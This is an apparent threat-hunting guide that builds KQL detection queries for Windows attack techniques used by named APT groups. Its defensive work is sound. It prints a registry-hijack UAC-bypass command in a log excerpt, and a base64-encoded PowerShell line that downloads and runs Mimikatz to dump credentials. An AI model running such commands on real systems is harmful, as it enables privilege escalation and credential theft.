sion">10.0.18362.476 (WinBuild.160101.0800)</Data><Data Name="Description">Registry Console 

Tool</Data><Data Name="Product">Microsoft® Windows® Operating System</Data><Data Name="Com-

pany">Microsoft Corporation</Data><Data Name="OriginalFileName">reg.exe</Data><Data Name="Com-

mandLine">reg.exe  add hkcu\software\classes\mscfile\shell\open\command /ve /d "C:\Windows\Sys-

tem32\cmd.exe" /f</Data><Data Name="CurrentDirectory">C:\windows\system32\</Data><Data 

Name="User">IDENTITY\Alice</Data><Data Name="LogonGuid">{1052ba5e-677b-5eb1-0000-

0020afff0500}</Data><Data Name="LogonId">0x5ffaf</Data><Data Name="TerminalSessionId">2</Data><Data 

Name="IntegrityLevel">High</Data><Data 

Name="Hashes">SHA1=EB3B03616EEE42F16D0703F64DE23E7E34FE8524,MD5=601BDDF7691C5AF626A5719F1D7E

35F1,SHA256=4ED2A27860FA154415F65452FF1F94BD6AF762982E2F3470030C504DC3C8A354,IM-

PHASH=BE482BE427FE212CFEF2CDA0E61F19AC</Data><Data Name="ParentProcessGuid">{1052ba5e-53b2-5eb8-

0000-0010e04afe0f}</Data><Data Name="ParentProcessId">4756</Data><Data Name="ParentImage">C:\Win-

dows\System32\cmd.exe</Data><Data Name="ParentCommandLine">"C:\windows\system32\cmd.exe" 

</Data></EventData></DataItem> 
 
  



 

 

 

The first thing that we might want to do is to parse the information that is in Event 1 in Sysmon. 
We are going to parse the different field levels in Sysmon event ID 1. 
 

 
 
 
// Bypass UAC via Event Viewer 
let timeframe = 3d; 
Event 
| where TimeGenerated >= ago(timeframe) 
| where Source == "Microsoft-Windows-Sysmon" 
| where EventID == 1 
| parse EventData with * 'UtcTime">' UtcTime '</Data>' *  
| parse EventData with * 'User">' User '</Data>' * 
| parse EventData with * 'OriginalFileName">' OriginalFileName '</Data>' * 
| parse EventData with * 'CommandLine">' CommandLine '</Data>' * 
| parse EventData with * 'ParentCommandLine">' ParentCommandLine '</Data>' * 
| project UtcTime, User, OriginalFileName, CommandLine, ParentCommandLine 
| sort by UtcTime desc 

 

 
If we use this query. The following return results will show up, which is not something we are 
looking for. We need to filter on information. 
 

 
 
  



 

 

 

Look back at the RenderedDescription column. We can use the field levels, such as OriginalFile-
Name, CommandLine, UtcTime, etc. To filter on specific values. 
 
This is how we can filter, so it will only show us the ''reg.exe'' in the returned results. 
 

 
 
Here you can see that it will only show the reg.exe as value in the OriginalFileName column. 
 

 
 
Only filtering on "reg.exe" at the OriginalFileName column can be noisy, but if we want to know 
if someone has set a new value in a registry. An option is to look at the "add" keyword that exists 

in the RenderedDescription column. 
 

 
 
Now we will only get two returned results where it contains the "add" keyword that is combined 
with the "reg.exe" 

 

 
 
If you have a list of registry values that you know that an attacker will target for bypassing UAC. 

You can add them in your query.  



 

 

 

What you often see is that a registry value will be modified to bypass UAC, so you can filter on 
specific registry values. 
 
For example, the following registry:  hkcu\software\classes\ms-settings\shell\open\command 
can be used to bypass UAC via fodhelper.exe 
 

 
 
The entire KQL query would be looking something like this: 
 
// Bypass UAC via Evenvwr.exe & fodhelper.exe 
let timeframe = 3d; 
Event 
| where TimeGenerated >= ago(timeframe) 
| where Source == "Microsoft-Windows-Sysmon" 
| where EventID == 1 and RenderedDescription has "OriginalFileName: reg.exe" 
and RenderedDescription has "add" 
and RenderedDescription has "SOFTWARE\\classes\\mscfile\\shell\\open\\command" 
    or RenderedDescription has "software\\classes\\ms-set-
tings\\shell\\open\\command" 
| parse EventData with * 'UtcTime">' UtcTime '</Data>' *  
| parse EventData with * 'User">' User '</Data>' * 
| parse EventData with * 'OriginalFileName">' OriginalFileName '</Data>' * 
| parse EventData with * 'CommandLine">' CommandLine '</Data>' * 
| parse EventData with * 'ParentCommandLine">' ParentCommandLine '</Data>' * 
| project UtcTime, User, OriginalFileName, CommandLine, ParentCommandLine 
| sort by UtcTime desc 

 

 

  



 

 

 

 T0185 – Rundll32 
 
APT29 is known for using Rundll32 as execution on a compromised host. 
 

 
 
 
Here is an example from the project of Atomic Red Team. Where we are using Rundll32 to exe-
cute a process on a host. 
 

 Example (1) 
 

 
 
Another example is where we are using Rundll32 to dump the LSASS process memory. 
 

 Example (2) 

 

 
 
ATT&CK recommends the following data sources to hunt for this type of technique 
 

 
 
  



 

 

 

We will use Sysmon to hunt for both techniques in this example. 

The following events are the one that we are primary interested in: 

 Event 1 – Process Create 

 Event 3 – Network Connection 

First we will run a simple KQL query 

search in (Event) "Rundll32.exe" 

 

 

There are 11 returned results 

 

 

Now we are going to make our KQL query a bit more specific to look for Rundll32.exe as the 

OriginalFileName, and we will parse all the values that are stored in the EventData column. 

 

  



 

 

 

If we are now running the following KQL query: 
 
Event 
| where Source == "Microsoft-Windows-Sysmon" 
| where EventID == 1 and RenderedDescription has "OriginalFileName: 
Rundll32.exe" 
| parse EventData with * 'UtcTime">' UtcTime '</Data>' *  
| parse EventData with * 'User">' User '</Data>' * 
| parse EventData with * 'OriginalFileName">' OriginalFileName '</Data>' * 
| parse EventData with * 'CommandLine">' CommandLine '</Data>' * 
| parse EventData with * 'ParentCommandLine">' ParentCommandLine '</Data>' * 
| project UtcTime, User, OriginalFileName, CommandLine, ParentCommandLine 
| sort by UtcTime desc 

 

 
We can see two returned results that were used as an example 
 

 
 
Monitoring only the Rundll32 process might increases the amount of false positives, so if you 
know that Rundll32 as a remote scriptlet or also be used to dump LSASS. You have now two use-
cases that you can cover in the query. 

 
If we start with covering the use-case, when someone is using Rundll32 for an http connection. 
 

 
 

We will get the following returned result: 
 

 
 
  



 

 

 

If we are interested in both Rundll32 for the HTTP connection & LSASS dump scenario. We can 
change our KQL query to something like this: 
 

 
 

This will be the final KQL query, so now we are having use-cases around Rundll32, instead of just 
monitoring for the process itself. 
 
// T1085 - Rundll32 
// Reference: https://attack.mitre.org/techniques/T1085/ 
let timeframe = 3d; 
Event 
| where TimeGenerated >= ago(timeframe) 
| where Source == "Microsoft-Windows-Sysmon" 
| where EventID == 1 and RenderedDescription has "OriginalFileName: 
Rundll32.exe" 
| where RenderedDescription contains "http" 
    or RenderedDescription has "C:\\windows\\system32\\comsvcs.dll" 
| parse EventData with * 'UtcTime">' UtcTime '</Data>' *  
| parse EventData with * 'User">' User '</Data>' * 
| parse EventData with * 'OriginalFileName">' OriginalFileName '</Data>' * 
| parse EventData with * 'CommandLine">' CommandLine '</Data>' * 
| parse EventData with * 'ParentCommandLine">' ParentCommandLine '</Data>' * 
| project UtcTime, User, OriginalFileName, CommandLine, ParentCommandLine 
| sort by UtcTime desc 

 

 
Here we can see the returned results: 
 

 
 
 

 

 



 

 

 

We also had another Sysmon event, which is Event 3. This is a network connection. We can see 

that Alice is making a network connection with Rundll32. This is a strange, so let's dive further 

into this. 

 

 
 
Run the following KQL query and filter on event 3. 
 
search in (Event) "Rundll32" 
| where Source == "Microsoft-Windows-Sysmon" 
| where EventID == 3 

 

 
 

 
 
We need to understand the different field levels in the columns to filter on. All of the values are 
stored in the RenderedDescription column.  The other column is EventData stores the values in a 
XML format that we can parse. 
 
  



 

 

 

This is how the RenderedDescription column looks like: 
 

Network connection detected: RuleName: technique_id=T1085,technique_name=Rundll32,phase_name=De-

fense Evasion, Execution UtcTime: 2020-05-10 19:26:25.574 ProcessGuid: {1052BA5E-5567-5EB8-0000-

0010C1880510} ProcessId: 13216 Image: C:\windows\system32\rundll32.exe User: IDENTITY\Alice Protocol: tcp 

Initiated: TRUE SourceIsIpv6: FALSE SourceIp: 10.0.3.11 SourceHostname: Client2.IDENTITY.local SourcePort: 

62522 SourcePortName:  DestinationIsIpv6: FALSE DestinationIp: 151.101.248.133 DestinationHostname:  

DestinationPort: 443 DestinationPortName: https  

 

 

This is how the EventData column values look like: 
 

<DataItem type="System.XmlData" time="2020-05-10T19:26:33.4455457+00:00" source-

HealthServiceId="CD872621-525B-55E0-8313-4A7C10D8FDE1"><EventData xmlns="http://schemas.mi-

crosoft.com/win/2004/08/events/event"><Data Name="RuleName">technique_id=T1085,tech-

nique_name=Rundll32,phase_name=Defense Evasion, Execution</Data><Data Name="UtcTime">2020-05-10 

19:26:25.574</Data><Data Name="ProcessGuid">{1052ba5e-5567-5eb8-0000-0010c1880510}</Data><Data 

Name="ProcessId">13216</Data><Data Name="Image">C:\windows\system32\rundll32.exe</Data><Data 

Name="User">IDENTITY\Alice</Data><Data Name="Protocol">tcp</Data><Data Name="Initi-

ated">true</Data><Data Name="SourceIsIpv6">false</Data><Data 

Name="SourceIp">10.0.3.11</Data><Data Name="SourceHostname">Client2.IDENTITY.local</Data><Data 

Name="SourcePort">62522</Data><Data Name="SourcePortName"></Data><Data Name="DestinationI-

sIpv6">false</Data><Data Name="DestinationIp">151.101.248.133</Data><Data Name="DestinationHost-

name"></Data><Data Name="DestinationPort">443</Data><Data Name="DestinationPort-

Name">https</Data></EventData></DataItem> 

 

 
  



 

 

 

We are first going to filter on event 3 and Rundll32. There are different field levels that we can 
filter on. Like for example Image, UtcTime, SourceIp, User, SourceHostname, DestinationIp, etc. 
 

 
 
First start with the following KQL query: 
 
let timeframe = 3d; 
Event 
| where TimeGenerated >= ago(timeframe) 
| where Source == "Microsoft-Windows-Sysmon" 
| where EventID == 3 and RenderedDescription has "Image: C:\\Windows\\Sys-
tem32\\Rundll32.exe" 

 

 
Returned results: 
 

 
 
  



 

 

 

If we are now going to parse the values. We get the following query: 
 
let timeframe = 3d; 
Event 
| where TimeGenerated >= ago(timeframe) 
| where Source == "Microsoft-Windows-Sysmon" 
| where EventID == 3 and RenderedDescription has "Image: C:\\Windows\\Sys-
tem32\\Rundll32.exe" 
| parse EventData with * 'UtcTime">' UtcTime '</Data>' * 
| parse EventData with * 'User">' User '</Data>' * 
| parse EventData with * 'Image">' Image '</Data>' * 
| parse EventData with * 'SourceIp">' SourceIp '</Data>' * 
| parse EventData with * 'SourceHostname">' SourceHostname '</Data>' * 
| parse EventData with * 'DestinationIp">' DestinationIp '</Data>' * 
| project UtcTime, User, Image, SourceIp, SourceHostname, DestinationIp 
| sort by UtcTime desc 

 

 

 
 
Event 3 is a network connection, and as you have notice. It is weird when the Rundll32 is making 
a HTTP connection. 

 
This has been used by different threat groups, but what is missing at event 3 is the following in-
formation: 
 

 CommandLine 

 ParentCommandLine 

 
Good news is that we can use the join operator in KQL to combine event 1 with event 3. 
Scroll down below to find the KQL. 
 
 
 

 
 
  



 

 

 

 
// T1085 - Rundll32 making a HTTP connection 
// Reference: https://attack.mitre.org/techniques/T1085/ 
let timeframe = 3d; 
Event 
| where TimeGenerated >= ago(timeframe) 
| where Source == "Microsoft-Windows-Sysmon" 
| where EventID == 1 and RenderedDescription has "OriginalFileName: 
Rundll32.exe" 
| where RenderedDescription contains "http" 
or RenderedDescription has "C:\\windows\\system32\\comsvcs.dll" 
| parse EventData with * 'UtcTime">' UtcTime '</Data>' *  
| parse EventData with * 'User">' User '</Data>' * 
| parse EventData with * 'OriginalFileName">' OriginalFileName '</Data>' * 
| parse EventData with * 'CommandLine">' CommandLine '</Data>' * 
| parse EventData with * 'ParentCommandLine">' ParentCommandLine '</Data>' * 
| project UtcTime, User, OriginalFileName, CommandLine, ParentCommandLine 
| join ( 
    Event 
    | where TimeGenerated >= ago(timeframe) 
    | where Source == "Microsoft-Windows-Sysmon" 
    | where EventID == 3 and RenderedDescription has "Image: C:\\Windows\\Sys-
tem32\\Rundll32.exe" 
    | parse EventData with * 'User">' User '</Data>' * 
    | parse EventData with * 'DestinationIp">' DestinationIp '</Data>' * 
    | project User, DestinationIp  
) on User 
| project-away User1  
| sort by UtcTime desc 

 

 
Now you can see the exact command line + parent command line that has been added to event 3 
of Sysmon.  
 

 
 

This means that every time a HTTP connection is made with the Rundll32.exe process. We can 
filter on event 3 and see which Destination IP address it made a connection to.  
 
  



 

 

 

 T1086 - PowerShell 
 
According to FireEye. They discovered that APT29 was using malicious (encoded) PowerShell ac-
tivities in their operations. 
 

 
 
Source: https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html 
 
While there are different examples that we might be interested in, such as when someone is run-
ning an encoded PowerShell command or other known examples, with the likes of using         
PowerShell to download something. 
 

 Example (1) 
 
An attacker is using an encoded PowerShell cmdlet to get Mimikatz on the box. 

 

 
 

 Example (2) 

 
An attacker is using PowerShell to download their hacker tools on a compromised box. 
 

 

https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html


 

 

 

We will first focus on creating a KQL query to hunt for encoded PowerShell activities. 
The first thing is to run the following KQL query: 
 
// T1086 - Encoded PowerShell activities 
// Reference: https://www.fireeye.com/blog/threat-research/2017/03/dissect-
ing_one_ofap.html 
let timeframe = 3d; 
SecurityEvent 
| where TimeGenerated >= ago(timeframe) 
| where Process in ("powershell.exe", "POWERSHELL.EXE", "powershell_ise.exe", 
"POWERSHELL_ISE.EXE") 

 

 

In this example – It will return around 79 results, which contains a lot of results. You will also no-
tice a lot of machine accounts. 
 

 
 
Since we are interested in if there have been users running an encoded PowerShell cmdlet. We 
can run the following KQL query: 

 
// T1086 - Encoded PowerShell activities 
// Reference: https://www.fireeye.com/blog/threat-research/2017/03/dissect-
ing_one_ofap.html 
let timeframe = 3d; 
SecurityEvent 
| where TimeGenerated >= ago(timeframe) 
| where AccountType == "User" 
| where Process in ("powershell.exe", "POWERSHELL.EXE", "powershell_ise.exe", 
"POWERSHELL_ISE.EXE") 
| where CommandLine has "-enc" 
    or CommandLine has "-encodedCommand" 

 

 

Now we will only see three returned results: 
 

 
 
  



 

 

 

If we are now going to use the project operator to only display the relevant columns. 
 
// T1086 - Encoded PowerShell activities 
// Reference: https://www.fireeye.com/blog/threat-research/2017/03/dissect-
ing_one_ofap.html 
let timeframe = 3d; 
SecurityEvent 
| where TimeGenerated >= ago(timeframe) 
| where AccountType == "User" 
| where Process in ("powershell.exe", "POWERSHELL.EXE", "powershell_ise.exe", 
"POWERSHELL_ISE.EXE") 
| where CommandLine has "-enc" 
    or CommandLine has "-encodedCommand" 
| project TimeGenerated, Account, Computer, CommandLine, Process 
| sort by TimeGenerated desc 

 

 
Here we now can see only 3 results and the exact command line that was typed in. 
 

 
 
We have the long Base64 encoded string, which we can decode with Base64_decode_string() 

scalar function. 
 
print Quine=base64_decode_tostring("SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAI-
ABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAG-
cAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdA-
BlAG4AdAAuAGMAbwBtAC8ARQBtAHAAaQByAGUAUAByAG8AagBlAGMAdAAvAEUAbQBwAGkAc-
gBlAC8ANwBhADMAOQBhADUANQBmADEAMgA3AGIAMQBhAGUAYgA5ADUAMQBiADMAZAA5AGQAOAAwAG-
MANgBkAGMANgA0ADUAMAAwAGMAYQBjAGIANQAvAGQAYQB0AGEALwBtAG8AZAB1AGwAZQBfAH-
MAbwB1AHIAYwBlAC8AYwByAGUAZABlAG4AdABpAGEAbABzAC8ASQBuAHYAbwBrA-
GUALQBNAGkAbQBpAGsAYQB0AHoALgBwAHMAMQAiACkAOwAgACQAbQAgAD0AIABJAG4AdgBvAGsAZQA-
tAE0AaQBtAGkAawBhAHQAegAgAC0ARAB1AG0AcABDAHIAZQBkAHMAOwAgACQAbQAKAA==") 

 

 

Here we can see the decoded string that was used by the attacker. 
 

 
 
  



 

 

 

The other example was about the PowerShell used to download something from the web. 
If we make a slight change at the previous KQL query and replace ''-enc'' & ''-encodedCom-
mand'' to something like ''Net.WebClient'' – We will get something like this: 
 
// T1086 - Download PowerShell activities 
// Reference: https://www.fireeye.com/blog/threat-research/2017/03/dissect-
ing_one_ofap.html 
let timeframe = 3d; 
SecurityEvent 
| where TimeGenerated >= ago(timeframe) 
| where AccountType == "User" 
| where Process in ("powershell.exe", "POWERSHELL.EXE", "powershell_ise.exe", 
"POWERSHELL_ISE.EXE") 
| where CommandLine has "Net.WebClient" 
| project TimeGenerated, Account, Computer, CommandLine, Process 
| sort by TimeGenerated desc 

 

 
Returned results 
 

 
 

There are different ways to use PowerShell to download something by using for example syn-
tax's, such as Invoke-WebRequest, etc. What we could do is to update our KQL query to some-
thing like this: 
 
// T1086 – Download PowerShell activities 
// Reference: https://www.fireeye.com/blog/threat-research/2017/03/dissect-
ing_one_ofap.html 
let timeframe = 3d; 
SecurityEvent 
| where TimeGenerated >= ago(timeframe) 
| where AccountType == "User" 
| where Process in ("powershell.exe", "POWERSHELL.EXE", "powershell_ise.exe", 
"POWERSHELL_ISE.EXE") 
| where CommandLine has "Net.WebClient" 
    or CommandLine has "Invoke-WebRequest" 
    or CommandLine has "Invoke-Shellcode" 
    or CommandLine has "DownloadFile" 
    or CommandLine contains "http" 
| project TimeGenerated, Account, Computer, CommandLine, Process 
| sort by TimeGenerated desc 

 

 
The above query is a more accurate one and increases the detection rate, instead of just looking 
to the Net.WebClient syntax. 
  



 

 

 

 G0050 – APT32 
 
APT32 is a threat group that has been active since at least 2014. The group has targeted multiple 
private sector industries as well as with foreign governments, dissidents, and journalists with a 
strong focus on Southeast Asian countries like Vietnam, the Philippines, Laos, and Cambodia. 
They have extensively used strategic web compromises to compromise victims. The group is be-
lieved to be Vietnam-based. 
 
Source: https://attack.mitre.org/beta/groups/G0050/ 
 
We are going to cover the following techniques: 

 

 T1070 – Indicator Removal on Host 

 T1075 – Pass the hash 

 T1117 – Regsvr32 

 T1070 – Indicator Removal on Host 
 
According to ATT&CK. APT32 has cleared event logs from a compromised host to hide their 
traces. 
 

 
 

This can be done with built-in tools such as ''wevtutil'' in Windows. 
 
Here is an example where we are clearing the security event logs. 
 

 
 
Every time when the security event logs are cleared. An event 1102 will be generated. 

 

 
 
  



 

 

 

We can start with running the following KQL query: 

// T1070 - Indicator Removal on Host 
// Wevtutil 
let timeframe = 3d; 
SecurityEvent 
| where TimeGenerated >= ago(timeframe) 
| where EventID == 1102 

 

 

The following two columns doesn't display the values, because it is stored in a XML format in an-

other column, which is the EventData column. 

 

Here we can see the SubjectUserName property that can be parsed. 
 

 
 
When we now run the following KQL query. We can see that we can't parse this value for some 
strange reasons. 
 
// T1070 - Indicator Removal on Host 
// Wevtutil 
let timeframe = 3d; 
SecurityEvent 
| where TimeGenerated >= ago(timeframe) 
| where EventID == 1102 
| parse EventData with * 'SubjectUserName">' SubjectUserName '</Data>' * 
| project TimeGenerated, SubjectUserName, Computer 

 

 
Returned result: 
 

 
  



 

 

 

What we could do is turn the XML format that is stored in the EventData column into a JSON 
value. 
 
Run the following KQL query: 
 
// T1070 - Indicator Removal on Host 
// Wevtutil 
let timeframe = 3d; 
SecurityEvent 
| where TimeGenerated >= ago(timeframe) 
| where EventID == 1102 
| parse EventData with * 'SubjectUserName">' SubjectUserName '</Data>' * 
| extend Description=parse_xml(EventData)  

 

 
We will now have a new column called ''Description'' 
 

 
 
Now we can use the parse_json scalar function to parse the values in it. 

 
This will be our final KQL query: 
 
// T1070 - Indicator Removal on Host 
// Reference: https://attack.mitre.org/techniques/T1070/ 
let timeframe = 3d; 
SecurityEvent 
| where TimeGenerated >= ago(timeframe) 
| where EventID == 1102 
| extend Description=parse_xml(EventData)  
| extend SubjectUserName = tostring(parse_json(tostring(parse_json(tostring(De-
scription.UserData)).LogFileCleared)).SubjectUserName)  
| project TimeGenerated, SubjectUserName, Computer, Activity 
| sort by TimeGenerated desc 

 

 
Final result: 
 

 



 

 

 

 T1075 – Pass the hash 
 
"Pass the hash (PtH) is a method of authenticating as a user without having access to the user's 
cleartext password. This method bypasses standard authentication steps that require a cleartext 
password, moving directly into the portion of the authentication that uses the password hash." 
 
According to ATT&CK. The following threat groups with the likes of APT32 have used Pass the 
hash as part of their lateral movement. 
 

 
 
Source: https://attack.mitre.org/techniques/T1075/ 
 
ATT&CK recommends to collect the following data source: 
 

 
 
The following setting can be configured through Group Policy to collect this kind of information, 
which is 
 
Under Computer Configuration go to Policies node and expand it as Policies -> Windows Settings 
-> Security Settings -> Local Policies -> Audit Policy -> Audit logon events -> Success 
 
Here is an example of using Mimikatz to perform a Pass the hash attack. 

On the compromised host – Two events will be generated that might be interested for us: 

 4624 & 4648 
 
Event 4624 with a Logon Type ''9'' means NewCredentials. This is equivalent to performing a 
''Runas'' where you start a program under a new user account. 
 

 
 
 

We are going to assume that we knew Alice was doing a PtH, so in this example. Alice performed 
a PtH to authenticate as the user Bob. 
 

 
 
  



 

 

 

Event 4624 with a Logon Type 9 has a relationship with event 4648.  
 
Event 4648 is generated when a process attempts to log on an account by explicitly specifying 
that account’s credentials. 
 

 
 
 

This is part of event 4648, where it shows the targeted server. This could give a sign that the at-
tacker was moving laterally to that specific server. 
 

 
 
  



 

 

 

On the targeted server, where the attacker might have moved laterally to. An event 4624 is gen-
erated with a Logon Type 3, which is a Network logon. 
 

 
 
 

 
 
  



 

 

 

We will start with the following KQL query with the filter on event 4624 with a logon type 9. It is 
typically not a very noisy, so you won't see much returned results. 
 
// T1075 - Pass the Hash 
// Reference: https://attack.mitre.org/techniques/T1075/ 
let timeframe = 3d; 
SecurityEvent 
| where TimeGenerated >= ago(timeframe) 
| where EventID == 4624 and LogonType == 9  

 

 
We can see in the example that two results have been returned. 

 

 
 
There are many columns, so if we expand one result. We would see loads of columns that con-
tain values. Here is the one that we are interested in, which is the TargetOutboundUserName 
column. 
 

 
 
 
  



 

 

 

If we now run the following KQL query, where we use an != (not equals) string operator. We get 
the following results: 
 
// T1075 - Pass the Hash 
// Reference: https://attack.mitre.org/techniques/T1075/ 
let timeframe = 3d; 
SecurityEvent 
| where TimeGenerated >= ago(timeframe) 
| where EventID == 4624 and LogonType == 9 
| where TargetOutboundUserName != "" 
| project TimeGenerated, Account, Activity, TargetOutboundUserName, LogonType, 
LogonGuid 

 

 
Returned results: 
 

 
 
Now if we look at event 4648. It also returns two results, which might be interesting for us to use 
the join operator to combine them together. 
 
SecurityEvent 
| where EventID == 4648 and AccountType == "User" 

 

 

 
 
If we expand one return result. We can see different columns as well with the likes of Tar-

getServerName 

 

  



 

 

 

If we know run the following KQL query. We get the following results 
 
SecurityEvent 
| where EventID == 4648 and AccountType == "User" 
| where TargetServerName != "" 
| project TargetServerName, TargetInfo, LogonGuid 

 

 
Returned result: 
 

 
 
If we know use the join operator to combine both event 4624 & 4648 with each other. We get 
something like this: 
 
As you have notice the LogonGuid is a column that contains a value. That value is a long string 
that has both the same value in event 4624 & 4648. 
 
// T1075 - Pass the Hash 
// Reference: https://attack.mitre.org/techniques/T1075/ 
let timeframe = 3d; 
SecurityEvent 
| where TimeGenerated >= ago(timeframe) 
| where EventID == 4624 and LogonType == 9 
| where TargetOutboundUserName != "" 
| project TimeGenerated, Account, Activity, TargetOutboundUserName, LogonGuid, 
LogonType 
| join ( 
   SecurityEvent 
   | where EventID == 4648 and AccountType == "User" 
   | where TargetServerName != "" 
   | project TargetServerName, TargetInfo, LogonGuid  
) on LogonGuid 

 

 
Returned result: 
 

 
 
  



 

 

 

Last step is to use the project operator to only display the necessary columns. 
 
// T1075 – Possible Pass the Hash operation 
// Reference: https://attack.mitre.org/techniques/T1075/ 
let timeframe = 3d; 
SecurityEvent 
| where TimeGenerated >= ago(timeframe) 
| where EventID == 4624 and LogonType == 9 
| where TargetOutboundUserName != "" 
| project TimeGenerated, Account, Activity, TargetOutboundUserName, LogonGuid, 
LogonType 
| join ( 
   SecurityEvent 
   | where TimeGenerated >= ago(timeframe) 
   | where EventID == 4648 and AccountType == "User" 
   | where TargetServerName != "" 
   | project TargetServerName, TargetInfo, TargetAccount, LogonGuid   
) on LogonGuid 
| project TimeGenerated, Account, Activity, TargetAccount, TargetServerName, 
TargetInfo, LogonType 
| sort by TimeGenerated desc 

 

 
Final result: 
 

 
 
  



 

 

 

 T1053 – Scheduled Task 
 
FireEye posted in 2017 a blog post about APT32. Where they highlighted how this threat group 
was using scheduled task for persistence. 
 

 
 

Source: https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html 
 
Thanks to Nick Carr who has done this research. We can simulate the same technique that APT32 
was using as well. 
 
Credits: https://github.com/redcanaryco/atomic-red-team/blob/master/ARTifacts/Chain_Reac-
tions/chain_reaction_DragonsTail.bat 
 
Here we created a scheduled task like APT32 did in their operations. 

We can use the following KQL query to hunt for this technique, but we won't just cover the 
schtasks.exe, since we can also use at.exe to create a scheduled task. 
 
// T1053 – Scheduled Task 
// Reference: https://www.fireeye.com/blog/threat-research/2017/05/cyber-espio-
nage-apt32.html 
let timeframe = 3d; 
SecurityEvent 
| where TimeGenerated >= ago(timeframe) 
| where Process in ("schtasks.exe", "at.exe") 
| where CommandLine has "regsvr32" 
    or CommandLine has "http:" 
| project TimeGenerated, Account, Computer, Activity, CommandLine, NewProcess-
Name, ParentProcessName 
| sort by TimeGenerated desc 

 

 
Returned results: 
 

 
 
  



 

 

 

 G0096 – APT41 
 
APT41 is a group that carries out Chinese state-sponsored espionage activity in addition to finan-
cially motivated activity. APT41 has been active since as early as 2012. The group has been ob-
served targeting healthcare, telecom, technology, and video game industries in 14 countries. 
 
Source: https://attack.mitre.org/groups/G0096/ 
 
We will cover the following technique of APT41 
 

 T1105 – Remote File Copy (CertUtil) 

 T1105 – Remote File Copy (CertUtil) 
 
According to FireEye. APT41 have used a built-in feature of Windows called CertUtil.exe to down-
load a file on a compromised host. 
 

 
 

Source:  https://www.fireeye.com/blog/threat-research/2019/08/game-over-detecting-and-
stopping-an-apt41-operation.html 
 
This is an example when an attacker is using certutil to download something. 
 

 
 
This is logged at event 4688 with of course, the full command line. 

We can use the following KQL query to detect this type of technique. 
 
// T1105 - Remote File Copy (CertUtil.exe) 
// Reference: https://attack.mitre.org/techniques/T1105/ 
let timeframe = 3d; 
SecurityEvent 
| where TimeGenerated >= ago(timeframe) 
| where Process == "certutil.exe" 
| where CommandLine contains "http" 
| project TimeGenerated, Account, Computer, CommandLine, NewProcessName 
| sort by TimeGenerated desc 

 

 

Returned result: 
 

 
 
It's not the perfect query to hunt down the technique, since every attacker could rename cer-

tutil.exe, but it's a quick win. That's been said. You can always create a query, when someone is 

changing a file in the C:\Windows\System32 directory. 

 

  



 

 

 

 T1197 – BITS Jobs 
 
BITS is commonly used by updaters, messengers, and other applications preferred to operate in 
the background (using available idle bandwidth) without interrupting other networked applica-
tions. Adversaries may abuse BITS to download, execute, and even clean up after running mali-
cious code 
 
Here is an example that I've discovered on Twitter. Where attackers have used BITS Jobs to 
download malicious files on a compromised host. 
 

 
 
Source: https://twitter.com/Arkbird_SOLG/status/1128296268529270784/photo/1 
 

 Example (1) 
 

 
 

 Example (2) 

We can use Microsoft-Windows-Bits/Operational to gather the relevant event logs, but we will 
only focus on Process creation, which is looking at event 4688 and the command line. 
 
To hunt for both variants, we could use the following KQL query. 
 
// T1197 - BITS Jobs 
// Reference: https://attack.mitre.org/techniques/T1197/ 
let timeframe = 3d; 
SecurityEvent 
| where TimeGenerated >= ago(timeframe) 
| where Process in ("powershell.exe", "POWERSHELL.EXE", "powershell_ise.exe", 
"POWERSHELL_ISE.EXE", "bitsadmin.exe") 
| where CommandLine has "Start-BitsTransfer" 
    or CommandLine contains "http" 
| project TimeGenerated, Account, Computer, CommandLine, ParentProcessName 
| sort by TimeGenerated desc 

 

 
Final result: 

 

 
 
  



 

 

 

 T1028 - Kerberoasting 

 
In February, 2020. The FBI reported that two municipalities have been breached by state actors. 
ZDNet reported that a technique called ''Kerberoasting'' was used to request service tickets from 
(service)-accounts, which can be brute forced offline. 
 

 
 

Source: https://www.zdnet.com/article/fbi-nation-state-actors-have-breached-two-us-munici-
palities/ 
 
There are multiple ways to request service tickets, but in this example.  
We will cover ''Invoke-Kerberoast.ps1'' – It's a PowerShell script that allows you to request Ker-
beros tickets for service accounts. 
 
Here we are requesting all the service tickets from any Service Principal Name. 

At the event logs on the Domain Controller. We get a bunch of 4769 events, so it is difficult to 
look manually in the event logs. 
 

 
 
First we run the following KQL query to filter on event 4769. 
 
// T1028 - Kerberoasting 
// Reference: https://attack.mitre.org/techniques/T1208/ 
let timeframe = 1d; 
let requestCountThreshold = 4; 
SecurityEvent 
| where TimeGenerated >= ago(timeframe) 
| where EventID == 4769 

 

 

We can't see which user requested a service ticket and there are 423 returned results. 
 

 
 
There is a column called EventData that stores values in a XML format. This includes both the 

username that requested a service ticket for a services. 

 

  



 

 

 

We can use the parse operator to parse the values. 

// T1028 - Kerberoasting 
// Reference: https://attack.mitre.org/techniques/T1208/ 
let timeframe = 1d; 
let requestCountThreshold = 4; 
SecurityEvent 
| where TimeGenerated >= ago(timeframe) 
| where EventID == 4769 
| parse EventData with * 'TargetUserName">' TargetUserName '</Data>' * 
| parse EventData with * 'IpAddress">' IpAddress '</Data>' *  
| parse EventData with * 'ServiceName">' ServiceName '</Data>' *  

 

 

Returned result: 

 

  



 

 

 

We can now summarize, the average amount of service tickets, which have been requested by a 

user. 

// T1028 - Kerberoasting 
// Reference: https://attack.mitre.org/techniques/T1208/ 
let timeframe = 1d; 
let requestCountThreshold = 4; 
SecurityEvent 
| where TimeGenerated >= ago(timeframe) 
| where EventID == 4769 
| parse EventData with * 'TargetUserName">' TargetUserName '</Data>' * 
| parse EventData with * 'IpAddress">' IpAddress '</Data>' *  
| parse EventData with * 'ServiceName">' ServiceName '</Data>' *  
| summarize StartTimeUtc = min(TimeGenerated), EndTimeUtc = max(TimeGenerated), 
AttemptRequest = dcount(ServiceName) by TargetUserName, Activity, IpAddress 
| project StartTimeUtc, EndTimeUtc, AttemptRequest, Activity, TargetUserName, 
IpAddress 
| sort by StartTimeUtc desc 

 

 

This is the most important to define in our KQL query:  

 

Here we can see the returned results: 

 

